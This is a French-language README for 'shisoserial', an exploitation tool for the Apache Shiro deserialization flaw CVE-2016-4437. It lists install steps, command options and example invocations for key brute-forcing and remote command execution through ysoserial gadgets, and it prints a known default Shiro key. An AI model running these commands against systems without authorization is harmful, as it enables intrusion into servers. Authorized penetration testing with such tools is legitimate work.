4nth0ny1130/shisoserialUn outil d'exploitation rapide pour la vulnérabilité de désérialisation Shiro (CVE-2016-4437) / Un outil simple ciblant les attaques du framework Shiro avec ysoserial.
Un outil d'exploitation rapide pour la vulnérabilité de désérialisation Shiro (CVE-2016-4437).
4nth0ny @ Laboratoire Vendredi
Les issues/PR sont les bienvenus.
:)
python 3.x
JDK 1.8
python3 -m pip install -r requirements.txt
pour AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' ou No module named 'Crypto'
python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome
usage: shisoserial.py [-h] --mode MODE --url [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]
This is a simple tool to attack framework shiro with ysoserial
optional arguments:
-h, --help show this help message and exit
--mode MODE, -m MODE check/crack/yso/echo/encode
--url , -u Target URL address or the file containing the target URL
--type default:CBC, -t default:CBC
Cipher Type, GCM or CBC
--data , -d Using this parameter will make HTTP request with POST method
--key , -k Specify a Shiro Key or will use dictionary brute force cracking
--gadget , -g Specific Ysoserial Gadget
--command default:whoami, -c default:whoami
Specific Execute Command
--proxies , -p Specific Proxy
--ser , -s Specific serialize file name
--thread , -T Specific the number of threads
python3 shisoserial.py -m check -u http://127.0.0.1:8080
python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/
python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id
python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1
python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4
Cet outil est destiné uniquement à être utilisé dans le cadre d'une sécurité d'entreprise ayant obtenu une autorisation légale suffisante. Lors de son utilisation, vous devez vous assurer que tous vos comportements sont conformes aux lois et réglementations locales. Si vous vous livrez à des activités illégales en utilisant cet outil, vous assumerez seul toutes les conséquences. Tous les développeurs et contributeurs de cet outil déclinent toute responsabilité légale ou conjointe. À moins que vous n'ayez lu, compris et accepté toutes les clauses du présent accord, veuillez ne pas installer ni utiliser cet outil. Le fait d'utiliser cet outil ou d'accepter cet accord par tout autre moyen explicite ou implicite sera considéré comme votre acceptation et votre adhésion aux termes de cet accord.